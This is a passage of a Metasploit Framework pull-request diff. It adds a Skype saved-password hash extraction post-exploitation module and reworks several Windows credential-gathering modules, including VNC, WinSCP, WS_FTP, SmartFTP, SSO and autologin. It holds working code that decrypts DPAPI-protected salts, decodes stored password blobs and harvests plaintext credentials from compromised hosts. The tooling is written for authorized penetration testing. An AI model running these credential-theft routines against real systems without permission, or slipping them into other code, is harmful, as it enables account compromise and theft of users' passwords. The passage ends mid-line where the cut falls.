https://github.com/rapid7/metasploit-framework/pull/3599#issuecomment-51710319 + + # Build service information + service_data = { + address: host_ip, + port: port, + service_name: 'rdp', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + # Build credential information + credential_data = { + origin_type: :session, + session_id: session_db_id, + post_reference_name: self.refname, + private_data: pass, + private_type: :password, + username: user, + realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN, + realm_value: realm, + workspace_id: myworkspace_id + } + + credential_data.merge!(service_data) + credential_core = create_credential(credential_data) + + # Assemble the options hash for creating the Metasploit::Credential::Login object + login_data = { + core: credential_core, + status: Metasploit::Model::Login::Status::UNTRIED, + workspace_id: myworkspace_id + } + + login_data.merge!(service_data) + create_credential_login(login_data) + end +end diff --git a/modules/post/windows/gather/credentials/skype.rb b/modules/post/windows/gather/credentials/skype.rb new file mode 100644 index 0000000000..f950de44e5 --- /dev/null +++ b/modules/post/windows/gather/credentials/skype.rb @@ -0,0 +1,179 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'rex' +require 'msf/core' + +class Metasploit3 < Msf::Post + include Msf::Post::File + include Msf::Post::Windows::Registry + + def initialize(info={}) + super( update_info( info, + 'Name' => 'Windows Gather Skype Saved Password Hash Extraction', + 'Description' => %q{ This module finds saved login credentials + for the Windows Skype client. The hash is in MD5 format + that uses the username, a static string "\nskyper\n" and the + password. The resulting MD5 is stored in the Config.xml file + for the user after being XOR'd against a key generated by applying + 2 SHA1 hashes of "salt" data which is stored in ProtectedStorage + using the Windows API CryptProtectData against the MD5 }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'mubix', # module + 'hdm' # crypto help + ], + 'Platform' => [ 'win' ], + 'SessionTypes' => [ 'meterpreter' ], + 'References' => [ + ['URL', 'http://www.recon.cx/en/f/vskype-part2.pdf'], + ['URL', 'http://insecurety.net/?p=427'], + ['URL', 'https://github.com/skypeopensource/tools'] + ] + )) + end + +# To generate test hashes in ruby use: +=begin + +require 'openssl' + +username = "test" +passsword = "test" + +hash = Digest::MD5.new +hash.update username +hash.update "\nskyper\n" +hash.update password + +puts hash.hexdigest + +=end + + def decrypt_reg(data) + rg = session.railgun + pid = session.sys.process.getpid + process = session.sys.process.open(pid, PROCESS_ALL_ACCESS) + mem = process.memory.allocate(512) + process.memory.write(mem, data) + + if session.sys.process.each_process.find { |i| i["pid"] == pid} ["arch"] == "x86" + addr = [mem].pack("V") + len = [data.length].pack("V") + ret = rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 8) + len, addr = ret["pDataOut"].unpack("V2") + else + # Convert using rex, basically doing: [mem & 0xffffffff, mem >> 32].pack("VV") + addr = Rex::Text.pack_int64le(mem) + len = Rex::Text.pack_int64le(data.length) + ret = rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 16) + pData = ret["pDataOut"].unpack("VVVV") + len = pData[0] + (pData[1] << 32) + addr = pData[2] + (pData[3] << 32) + end + + return "" if len == 0 + return process.memory.read(addr, len) + end + + # Get the "Salt" unencrypted from the registry + def get_salt + print_status "Checking for encrypted salt in the registry" + vprint_status "Checking: HKCU\\Software\\Skype\\ProtectedStorage - 0" + rdata = registry_getvaldata('HKCU\\Software\\Skype\\ProtectedStorage', '0') + print_good("Salt found and decrypted") + return decrypt_reg(rdata) + end + + # Pull out all the users in the AppData directory that have config files + def get_config_users(appdatapath) + users = [] + dirlist = session.fs.dir.entries(appdatapath) + dirlist.shift(2) + dirlist.each do |dir| + if file?(appdatapath + "\\#{dir}" + '\\config.xml') == false + vprint_error "Config.xml not found in #{appdatapath}\\#{dir}\\" + next + end + print_good "Found Config.xml in #{appdatapath}\\#{dir}\\" + users << dir + end + return users + end + + def parse_config_file(config_path) + hex = "" + configfile = read_file(config_path) + configfile.each_line do |line| + if line =~ /Credentials/i + hex = line.split('>')[1].split('<')[0] + end + end + return hex + end + + + + def decrypt_blob(credhex, salt) + + # Convert Config.xml hex to binary format + blob = [credhex].pack("H*") + + # Concatinate SHA digests for AES key + sha = Digest::SHA1.digest("\x00\x00\x00\x00" + salt) + Digest::SHA1.digest("\x00\x00\x00\x01" + salt) + + aes = OpenSSL::Cipher::Cipher.new("AES-256-CBC") + aes.encrypt + aes.key = sha[0,32] # Use only 32 bytes of key + final = aes.update([0].pack("N*") * 4) # Encrypt 16 \x00 bytes + final << aes.final + xor_key = final[0,16] # Get only the first 16 bytes of result + + vprint_status("XOR Key: #{xor_key.unpack("H*")[0]}") + + decrypted = [] + + # Use AES/SHA crypto for XOR decoding + (0...16).each do |i| + decrypted << (blob[i].unpack("C*")[0] ^ xor_key[i].unpack("C*")[0]) + end + + return decrypted.pack("C*").unpack("H*")[0] + end + + + def get_config_creds(salt) + users = [] + appdatapath = expand_path("%AppData%") + "\\Skype" + print_status ("Checking for config files in %APPDATA%") + users = get_config_users(appdatapath) + if users.any? + users.each do |user| + print_status("Parsing #{appdatapath}\\#{user}\\Config.xml") + credhex = parse_config_file("#{appdatapath}\\#{user}\\config.xml") + if credhex == "" + print_error("No Credentials3 blob found for #{user} in Config.xml skipping") + next + else + hash = decrypt_blob(credhex, salt) + print_good "Skype MD5 found: #{user}:#{hash}" + end + end + else + print_error "No users with configs found. Exiting" + end + end + + def run + salt = get_salt + if salt != nil + creds = get_config_creds(salt) + else + print_error "No salt found. Cannot continue without salt, exiting" + end + end + +end + diff --git a/modules/post/windows/gather/credentials/smartermail.rb b/modules/post/windows/gather/credentials/smartermail.rb index 1a9e2530d3..70f8451364 100644 --- a/modules/post/windows/gather/credentials/smartermail.rb +++ b/modules/post/windows/gather/credentials/smartermail.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/credentials/smartftp.rb b/modules/post/windows/gather/credentials/smartftp.rb index d536fd0cc0..1fa9bba41f 100644 --- a/modules/post/windows/gather/credentials/smartftp.rb +++ b/modules/post/windows/gather/credentials/smartftp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -109,14 +109,34 @@ class Metasploit3 < Msf::Post else source_id = nil end - report_auth_info( - :host => host, - :port => port, - :source_id => source_id, - :source_type => "exploit", - :user => user, - :pass => pass - ) + service_data = { + address: host, + port: port, + service_name: 'ftp', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :session, + session_id: session_db_id, + post_reference_name: self.refname, + private_type: :password, + private_data: pass, + username: user + } + + credential_data.merge!(service_data) + + credential_core = create_credential(credential_data) + login_data ={ + core: credential_core, + status: Metasploit::Model::Login::Status::UNTRIED + } + + login_data.merge!(service_data) + login = create_credential_login(login_data) + end end diff --git a/modules/post/windows/gather/credentials/spark_im.rb b/modules/post/windows/gather/credentials/spark_im.rb index 4fee0faf11..7a8ee120c0 100644 --- a/modules/post/windows/gather/credentials/spark_im.rb +++ b/modules/post/windows/gather/credentials/spark_im.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/credentials/sso.rb b/modules/post/windows/gather/credentials/sso.rb index 4f5b27cd9c..4b2b7514e5 100644 --- a/modules/post/windows/gather/credentials/sso.rb +++ b/modules/post/windows/gather/credentials/sso.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -20,7 +20,7 @@ class Metasploit3 < Msf::Post in the database. }, 'License' => MSF_LICENSE, - 'Author' => ['Ben Campbell '], + 'Author' => ['Ben Campbell'], 'Platform' => ['win'], 'SessionTypes' => ['meterpreter' ] )) @@ -101,24 +101,39 @@ class Metasploit3 < Msf::Post return if (user.empty? or pass.empty?) return if pass.include?("n.a.") - if session.db_record - source_id = session.db_record.id - else - source_id = nil + # Assemble data about the credential objects we will be creating + credential_data = { + origin_type: :session, + post_reference_name: self.refname, + private_data: pass, + private_type: :password, + session_id: session_db_id, + username: user, + workspace_id: myworkspace_id + } + + unless domain.blank? + credential_data[:realm_key] = Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN + credential_data[:realm_value] = domain end - report_auth_info( - :host => session.session_host, - :port => 445, - :sname => 'smb', - :proto => 'tcp', - :source_id => source_id, - :source_type => "exploit", - :user => "#{domain}\\#{user}", - :pass => pass - ) + credential_core = create_credential(credential_data) + + # Assemble the options hash for creating the Metasploit::Credential::Login object + login_data = { + core: credential_core, + status: Metasploit::Model::Login::Status::UNTRIED, + address: ::Rex::Socket.getaddress(session.sock.peerhost, true), + port: 445, + service_name: 'smb', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + create_credential_login(login_data) end + def is_system_user?(user) system_users = [ /^$/, diff --git a/modules/post/windows/gather/credentials/steam.rb b/modules/post/windows/gather/credentials/steam.rb index e5f045fd59..b330663fd4 100644 --- a/modules/post/windows/gather/credentials/steam.rb +++ b/modules/post/windows/gather/credentials/steam.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -40,10 +40,12 @@ class Metasploit3 < Msf::Post # Steam client is only 32 bit so we need to know what arch we are on so that we can use # the correct program files folder. # We will just use an x64 only defined env variable to check. - if not expand_path('%ProgramFiles(X86)%').empty? and expand_path('%ProgramFiles(X86)%') !~ /%ProgramFiles\(X86\)%/ - progs = expand_path('%ProgramFiles(X86)%') #x64 + progfiles_env = session.sys.config.getenvs('ProgramFiles(X86)', 'ProgramFiles') + progfilesx86 = prog_files_env['ProgramFiles(X86)'] + if not progfilesx86.empty? and progfilesx86 !~ /%ProgramFiles\(X86\)%/ + progs = progfilesx86 # x64 else - progs = expand_path('%ProgramFiles%') #x86 + progs = progfiles_env['ProgramFiles'] # x86 end path = progs + '\\Steam\\config' diff --git a/modules/post/windows/gather/credentials/tortoisesvn.rb b/modules/post/windows/gather/credentials/tortoisesvn.rb index bca7b022b6..c8fff9fa50 100644 --- a/modules/post/windows/gather/credentials/tortoisesvn.rb +++ b/modules/post/windows/gather/credentials/tortoisesvn.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -48,7 +48,6 @@ class Metasploit3 < Msf::Post addr = [mem].pack("V") len = [data.length].pack("V") ret = rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 8) - #print_status("#{ret.inspect}") len, addr = ret["pDataOut"].unpack("V2") else addr = [mem].pack("Q") @@ -103,8 +102,7 @@ class Metasploit3 < Msf::Post def get_config_files # Determine if TortoiseSVN is installed and parse config files savedpwds = 0 - user_appdata = session.fs.file.expand_path("%APPDATA%") - path = user_appdata + '\\Subversion\\auth\\svn.simple\\' + path = session.fs.file.expand_path("%APPDATA%\\Subversion\\auth\\svn.simple\\") print_status("Checking for configuration files in: #{path}") begin diff --git a/modules/post/windows/gather/credentials/total_commander.rb b/modules/post/windows/gather/credentials/total_commander.rb index 20f506fba8..dbf7607210 100644 --- a/modules/post/windows/gather/credentials/total_commander.rb +++ b/modules/post/windows/gather/credentials/total_commander.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -107,7 +107,7 @@ class Metasploit3 < Msf::Post end def check_systemroot - winpath = expand_path("%SYSTEMROOT%")+'\\wcx_ftp.ini' + winpath = expand_path("%SYSTEMROOT%\\wcx_ftp.ini") check_other(winpath) end diff --git a/modules/post/windows/gather/credentials/trillian.rb b/modules/post/windows/gather/credentials/trillian.rb index 2d85d43034..b2e24dc817 100644 --- a/modules/post/windows/gather/credentials/trillian.rb +++ b/modules/post/windows/gather/credentials/trillian.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/credentials/vnc.rb b/modules/post/windows/gather/credentials/vnc.rb index 953348cb82..e3fb9f9057 100644 --- a/modules/post/windows/gather/credentials/vnc.rb +++ b/modules/post/windows/gather/credentials/vnc.rb @@ -1,14 +1,14 @@ # post/windows/gather/enum_vnc_pw.rb ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'rex' require 'msf/core/auxiliary/report' - +require 'rex/proto/rfb' class Metasploit3 < Msf::Post @@ -98,11 +98,15 @@ class Metasploit3 < Msf::Post locations = [] #Checks - locations << {:name => 'UltraVNC', - :check_file => session.fs.file.expand_path("%PROGRAMFILES%")+'\\UltraVNC\\ultravnc.ini', - :pass_variable => 'passwd=', - :viewonly_variable => 'passwd2=', - :port_variable => 'PortNumber='} + progfiles_env = session.sys.config.getenvs('ProgramFiles', 'ProgramFiles(x86)') + progfiles_env.each do |k, v| + next if v.blank? + locations << {:name => 'UltraVNC', + :check_file => "#{v}\\UltraVNC\\ultravnc.ini", + :pass_variable => 'passwd=', + :viewonly_variable => 'passwd2=', + :port_variable => 'PortNumber='} + end locations << {:name => 'WinVNC3_HKLM', :check_reg => 'HKLM\\Software\\ORL\\WinVNC3', @@ -220,37 +224,79 @@ class Metasploit3 < Msf::Post e[:port] = 5900 end print_good("#{e[:name]} => #{e[:hash]} => #{e[:pass]} on port: #{e[:port]}") - if session.db_record - source_id = session.db_record.id - else - source_id = nil - end - report_auth_info( - :host => session.sock.peerhost, - :sname => 'vnc', - :pass => "#{e[:pass]}", - :port => "#{e[:port]}", - :source_id => source_id, - :source_type => "exploit", - :type => 'password' - ) + + service_data = { + address: ::Rex::Socket.getaddress(session.sock.peerhost, true), + port: e[:port], + service_name: 'vnc', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + # Assemble data about the credential objects we will be creating + credential_data = { + origin_type: :session, + session_id: session_db_id, + post_reference_name: self.refname, + private_type: :password, + private_data: "#{e[:pass]}" + } + + # Merge the service data into the credential data + credential_data.merge!(service_data) + + # Create the Metasploit::Credential::Core object + credential_core = create_credential(credential_data) + + # Assemble the options hash for creating the Metasploit::Credential::Login object + login_data ={ + access_level: 'interactive', + core: credential_core, + status: Metasploit::Model::Login::Status::UNTRIED + } + + # Merge in the service data and create our Login + login_data.merge!(service_data) + login = create_credential_login(login_data) + end if e[:viewonly_pass] != nil print_good("VIEW ONLY: #{e[:name]} => #{e[:viewonly_hash]} => #{e[:viewonly_pass]} on port: #{e[:port]}") - if session.db_record - source_id = session.db_record.id - else - source_id = nil - end - report_auth_info( - :host => session.sock.peerhost, - :sname => 'vnc', - :viewonly_pass => "#{e[:viewonly_pass]}", - :port => "#{e[:port]}", - :source_id => source_id, - :source_type => "exploit", - :type => 'password_ro' - ) + + service_data = { + address: ::Rex::Socket.getaddress(session.sock.peerhost, true), + port: e[:port], + service_name: 'vnc', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + # Assemble data about the credential objects we will be creating + credential_data = { + origin_type: :session, + session_id: session_db_id, + post_reference_name: self.refname, + private_type: :password, + private_data: "#{e[:viewonly_pass]}" + } + + # Merge the service data into the credential data + credential_data.merge!(service_data) + + # Create the Metasploit::Credential::Core object + credential_core = create_credential(credential_data) + + # Assemble the options hash for creating the Metasploit::Credential::Login object + login_data ={ + access_level: 'view_only', + core: credential_core, + status: Metasploit::Model::Login::Status::UNTRIED + } + + # Merge in the service data and create our Login + login_data.merge!(service_data) + login = create_credential_login(login_data) + end } unload_our_hives(userhives) diff --git a/modules/post/windows/gather/credentials/windows_autologin.rb b/modules/post/windows/gather/credentials/windows_autologin.rb index eb76d98a34..5af3bdb12d 100644 --- a/modules/post/windows/gather/credentials/windows_autologin.rb +++ b/modules/post/windows/gather/credentials/windows_autologin.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -42,15 +42,7 @@ class Metasploit3 < Msf::Post host_name = sysinfo['Computer'] print_status("Running against #{host_name} on session #{datastore['SESSION']}") - creds = Rex::Ui::Text::Table.new( - 'Header' => 'Windows AutoLogin Password', - 'Indent' => 1, - 'Columns' => [ - 'UserName', - 'Password', - 'Domain' - ] - ) + creds = [] has_al = 0 @@ -69,7 +61,6 @@ class Metasploit3 < Msf::Post if do1 != '' and du1 != '' and dp1 == '' and al == '1' has_al = 1 - dp1 = '[No Password!]' creds << [du1,dp1, do1] print_good("DefaultDomain=#{do1}, DefaultUser=#{du1}, DefaultPassword=#{dp1}") elsif do1 != '' and du1 != '' and dp1 != '' @@ -80,8 +71,7 @@ class Metasploit3 < Msf::Post if do2 != '' and du2 != '' and dp2 == '' and al == '1' has_al = 1 - dp2 = '[No Password!]' - creds << [du2,dp2,d02] + creds << [du2,dp2,do2] print_good("AltDomain=#{do2}, AltUser=#{du2}, AltPassword=#{dp2}") elsif do2 != '' and du2 != '' and dp2 != '' has_al = 1 @@ -94,16 +84,18 @@ class Metasploit3 < Msf::Post return end - print_status("Storing data...") - path = store_loot( - 'windows.autologin.user.creds', - 'text/csv', - session, - creds.to_csv, - 'windows-autologin-user-creds.csv', - 'Windows AutoLogin User Credentials' - ) - - print_status("Windows AutoLogin User Credentials saved in: #{path}") + creds.each do |cred| + create_credential( + workspace_id: myworkspace_id, + origin_type: :session, + session_id: session_db_id, + post_reference_name: self.refname, + username: cred[0], + private_data: cred[1], + private_type: :password, + realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN, + realm_value: cred[2] + ) + end end end diff --git a/modules/post/windows/gather/credentials/winscp.rb b/modules/post/windows/gather/credentials/winscp.rb index cf08f7bba5..c2b47187a7 100644 --- a/modules/post/windows/gather/credentials/winscp.rb +++ b/modules/post/windows/gather/credentials/winscp.rb @@ -1,7 +1,7 @@ # post/windows/gather/enum_vnc_pw.rb ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -14,6 +14,7 @@ class Metasploit3 < Msf::Post include Msf::Post::Windows::Registry include Msf::Auxiliary::Report include Msf::Post::Windows::UserProfiles + include Msf::Post::File def initialize(info={}) super(update_info(info, @@ -72,34 +73,12 @@ class Metasploit3 < Msf::Post portnum = 22 end - user = registry_getvaldata(active_session, 'UserName') || "" - host = registry_getvaldata(active_session, 'HostName') || "" - proto = registry_getvaldata(active_session, 'FSProtocol') || "" - - # If no explicit protocol entry exists it is on sFTP with SCP backup. If it is 0 - # it is set to SCP. - if proto == nil or proto == 0 - proto = "SSH" - else - proto = "FTP" - end - - #Decrypt our password, and report on results - pass= decrypt_password(password, user+host) - print_status("Host: #{host} Port: #{portnum} Protocol: #{proto} Username: #{user} Password: #{pass}") - if session.db_record - source_id = session.db_record.id - else - source_id = nil - end - report_auth_info( - :host => host, - :port => portnum, - :sname => proto, - :source_id => source_id, - :source_type => "exploit", - :user => user, - :pass => pass + winscp_store_config( + 'FSProtocol' => registry_getvaldata(active_session, 'FSProtocol') || "", + 'HostName' => registry_getvaldata(active_session, 'HostName') || "", + 'Password' => password, + 'PortNumber' => portnum, + 'UserName' => registry_getvaldata(active_session, 'UserName') || "", ) end @@ -119,65 +98,35 @@ class Metasploit3 < Msf::Post def get_ini(filename) - begin - #opens the WinSCP.ini file for reading and loads it into the MSF Ini Parser - client.fs.file.stat(filename) - config = client.fs.file.new(filename,'r') - parse = config.read - print_status("Found WinSCP.ini file...") - ini=Rex::Parser::Ini.from_s(parse) + print_error("Looking for #{filename}.") + # opens the WinSCP.ini file for reading and loads it into the MSF Ini Parser + parse = read_file(filename) + if parse.nil? + print_error("WinSCP.ini file NOT found...") + return + end + + print_status("Found WinSCP.ini file...") + ini = Rex::Parser::Ini.from_s(parse) + + # if a Master Password is in use we give up + if ini['Configuration\\Security']['MasterPassword'] == '1' + print_status("Master Password Set, unable to recover saved passwords!") + return nil + end + + # Runs through each group in the ini file looking for all of the Sessions + ini.each_key do |group| + if group.include?('Sessions') && ini[group].has_key?('Password') + winscp_store_config( + 'FSProtocol' => ini[group]['FSProtocol'], + 'HostName' => ini[group]['HostName'], + 'Password' => ini[group]['Password'], + 'PortNumber' => ini[group]['PortNumber'] || 22, + 'UserName' => ini[group]['UserName'], + ) - #if a Master Password is in use we give up - if ini['Configuration\\Security']['MasterPassword'] == '1' - print_status("Master Password Set, unable to recover saved passwords!") - return nil end - - #Runs through each group in the ini file looking for all of the Sessions - ini.each_key do |group| - groupkey='Sessions' - if group=~/#{groupkey}/ - #See if we have a password saved in this sessions - if ini[group].has_key?('Password') - # If no explicit port number is defined, then it is the default tcp 22 - if ini[group].has_key?('PortNumber') - portnum = ini[group]['PortNumber'] - else - portnum = 22 - end - host= ini[group]['HostName'] - user= ini[group]['UserName'] - proto = ini[group]['FSProtocol'] - - # If no explicit protocol entry exists it is on sFTP with SCP backup. If it - # is 0 it is set to SCP. - if proto == nil or proto == 0 - proto = "SSH" - else - proto = "FTP" - end - # Decrypt the password and report on all of the results - pass= decrypt_password(ini[group]['Password'], user+host) - print_status("Host: #{host} Port: #{portnum} Protocol: #{proto} Username: #{user} Password: #{pass}") - if session.db_record - source_id = session.db_record.id - else - source_id = nil - end - report_auth_info( - :host => host, - :port => portnum, - :sname => proto, - :source_id => source_id, - :source_type => "exploit", - :user => user, - :pass => pass - ) - end - end - end - rescue - print_status("WinSCP.ini file NOT found...") end end @@ -186,12 +135,12 @@ class Metasploit3 < Msf::Post pwalg_simple_magic = 0xA3 pwalg_simple_string = "0123456789ABCDEF" - # Decrypts the next charachter in the password sequence + # Decrypts the next character in the password sequence if @password.length > 0 # Takes the first char from the encrypted password and finds its position in the # pre-defined string, then left shifts the returned index by 4 bits unpack1 = pwalg_simple_string.index(@password[0,1]) - unpack1= unpack1 << 4 + unpack1 = unpack1 << 4 # Takes the second char from the encrypted password and finds its position in the # pre-defined string @@ -213,37 +162,76 @@ class Metasploit3 < Msf::Post flag = decrypt_next_char() if flag == pwalg_simple_flag - decrypt_next_char(); - length = decrypt_next_char(); + decrypt_next_char() + length = decrypt_next_char() else - length = flag; + length = flag end - ldel = (decrypt_next_char())*2 ; - @password = @password[ldel,@password.length]; - result=""; - for ss in 0...length - result+=decrypt_next_char().chr + ldel = (decrypt_next_char())*2 + @password = @password[ldel,@password.length] + + result = "" + length.times do + result << decrypt_next_char().chr end if flag == pwalg_simple_flag - result= result[key.length,result.length]; - + result = result[key.length, result.length] end - return result - - + result end def run print_status("Looking for WinSCP.ini file storage...") - get_ini(client.fs.file.expand_path("%PROGRAMFILES%")+'\\WinSCP\\WinSCP.ini') + get_ini(expand_path("%PROGRAMFILES%\\WinSCP\\WinSCP.ini")) print_status("Looking for Registry Storage...") get_reg() print_status("Done!") - end + def winscp_store_config(config) + host = config['HostName'] + pass = config['Password'] + portnum = config['PortNumber'] + proto = config['FSProtocol'] + user = config['UserName'] + sname = case proto.to_i + when 5 then "FTP" + when 0 then "SSH" + end + + # Decrypt our password, and report on results + plaintext = decrypt_password(pass, user+host) + print_status("Host: #{host} Port: #{portnum} Protocol: #{sname} Username: #{user} Password: #{plaintext}") + + service_data = { + # XXX This resolution should happen on the victim side instead + address: ::Rex::Socket.getaddress(host), + port: portnum, + service_name: sname, + protocol: 'tcp', + workspace_id: myworkspace_id, + } + + credential_data = { + origin_type: :session, + session_id: session_db_id, + post_reference_name: self.refname, + private_type: :password, + private_data: plaintext, + username: user + }.merge(service_data) + + credential_core = create_credential(credential_data) + + login_data = { + core: credential_core, + status: Metasploit::Model::Login::Status::UNTRIED + }.merge(service_data) + + create_credential_login(login_data) + end end diff --git a/modules/post/windows/gather/credentials/wsftp_client.rb b/modules/post/windows/gather/credentials/wsftp_client.rb index ae8cbef726..1227e572e2 100644 --- a/modules/post/windows/gather/credentials/wsftp_client.rb +++ b/modules/post/windows/gather/credentials/wsftp_client.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -66,19 +66,32 @@ class Metasploit3 < Msf::Post next if passwd == nil or passwd == "" port = 21 if port == nil print_good("Host: #{host} Port: #{port} User: #{username} Password: #{passwd}") - if session.db_record - source_id = session.db_record.id - else - source_id = nil - end - report_auth_info( - :host => host, - :port => port, - :sname => 'ftp', - :source_id => source_id, - :source_type => "exploit", - :user => username, - :pass => passwd) + service_data = { + address: Rex::Socket.getaddress(host), + port: port, + protocol: "tcp", + service_name: "ftp", + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :session, + session_id: session_db_id, + post_reference_name: self.refname, + username: username, + private_data: passwd, + private_type: :password + } + + credential_core = create_credential(credential_data.merge(service_data)) + + login_data = { + core: credential_core, + access_level: "User", + status: Metasploit::Model::Login::Status::UNTRIED + } + + create_credential_login(login_data.merge(service_data)) end end diff --git a/modules/post/windows/gather/dnscache_dump.rb b/modules/post/windows/gather/dnscache_dump.rb index 8429e4a452..de4bf2fefb 100644 --- a/modules/post/windows/gather/dnscache_dump.rb +++ b/modules/post/windows/gather/dnscache_dump.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/dumplinks.rb b/modules/post/windows/gather/dumplinks.rb index a30e887857..13d701aac1 100644 --- a/modules/post/windows/gather/dumplinks.rb +++ b/modules/post/windows/gather/dumplinks.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -53,7 +53,8 @@ class Metasploit3 < Msf::Post user = session.sys.config.getuid userpath = nil useroffcpath = nil - sysdrv = session.fs.file.expand_path("%SystemDrive%") + env_vars = session.sys.config.getenvs('SystemDrive', 'USERNAME') + sysdrv = env_vars['SystemDrive'] if os =~ /Windows 7|Vista|2008/ userpath = sysdrv + "\\Users\\" lnkpath = "\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" @@ -76,7 +77,7 @@ class Metasploit3 < Msf::Post userinfo = {} end else - uservar = session.fs.file.expand_path("%USERNAME%") + uservar = env_vars['USERNAME'] userinfo['username'] = uservar userinfo['userpath'] = userpath + uservar + lnkpath userinfo['useroffcpath'] = userpath + uservar + officelnkpath @@ -111,13 +112,13 @@ class Metasploit3 < Msf::Post record = lnk_file.sysread(0x48) hdr = get_headers(record) - @data_out += get_lnk_file_MAC(file_stat, path, file_name) + @data_out += get_lnk_file_mac(file_stat, path, file_name) @data_out += "Contents of #{path + file_name}:\n" @data_out += get_flags(hdr) @data_out += get_attrs(hdr) - @data_out += get_lnk_MAC(hdr) + @data_out += get_lnk_mac(hdr) @data_out += get_showwnd(hdr) - @data_out += get_lnk_MAC(hdr) + @data_out += get_lnk_mac(hdr) # advance the file & offset offset += 0x4c @@ -199,7 +200,7 @@ class Metasploit3 < Msf::Post end end - def get_lnk_file_MAC(file_stat, path, file_name) + def get_lnk_file_mac(file_stat, path, file_name) data_out = "#{path + file_name}:\n" data_out += "\tAccess Time = #{file_stat.atime}\n" data_out += "\tCreation Date = #{file_stat.ctime}\n" @@ -239,7 +240,7 @@ class Metasploit3 < Msf::Post return data_out end - def get_lnk_MAC(hdr) + def get_lnk_mac(hdr) data_out = "\tTarget file's MAC Times stored in lnk file:\n" data_out += "\t\tCreation Time = #{Time.at(hdr["ctime"])}. (UTC)\n" data_out += "\t\tModification Time = #{Time.at(hdr["mtime"])}. (UTC)\n" diff --git a/modules/post/windows/gather/enum_ad_computers.rb b/modules/post/windows/gather/enum_ad_computers.rb index cd5acd2947..93d937663c 100644 --- a/modules/post/windows/gather/enum_ad_computers.rb +++ b/modules/post/windows/gather/enum_ad_computers.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -39,7 +39,7 @@ class Metasploit3 < Msf::Post (&(objectCategory=computer)(operatingSystem=*server*)) # All Servers }, 'License' => MSF_LICENSE, - 'Author' => [ 'Ben Campbell ' ], + 'Author' => [ 'Ben Campbell' ], 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter' ], 'References' => @@ -66,11 +66,11 @@ class Metasploit3 < Msf::Post # Results table holds raw string data results_table = Rex::Ui::Text::Table.new( - 'Header' => "Domain Computers", - 'Indent' => 1, - 'SortIndex' => -1, - 'Columns' => fields - ) + 'Header' => "Domain Computers", + 'Indent' => 1, + 'SortIndex' => -1, + 'Columns' => fields + ) # Hostnames holds DNS Names to Resolve hostnames = [] @@ -81,40 +81,37 @@ class Metasploit3 < Msf::Post report = {} 0.upto(fields.length-1) do |i| - if result[i].nil? - field = "" - else - field = result[i] + field = result[i][:value] || "" - # Only perform these actions if the database is connected and we want - # to store in the DB. - if db and datastore['STORE_DB'] - case fields[i] - when 'dNSHostName' - dns = field - report[:name] = dns - hostnames << dns - when 'operatingSystem' - os = field - index = os.index(/windows/i) - if index - name = 'Microsoft Windows' - flavour = os[index..-1] - report[:os_name] = 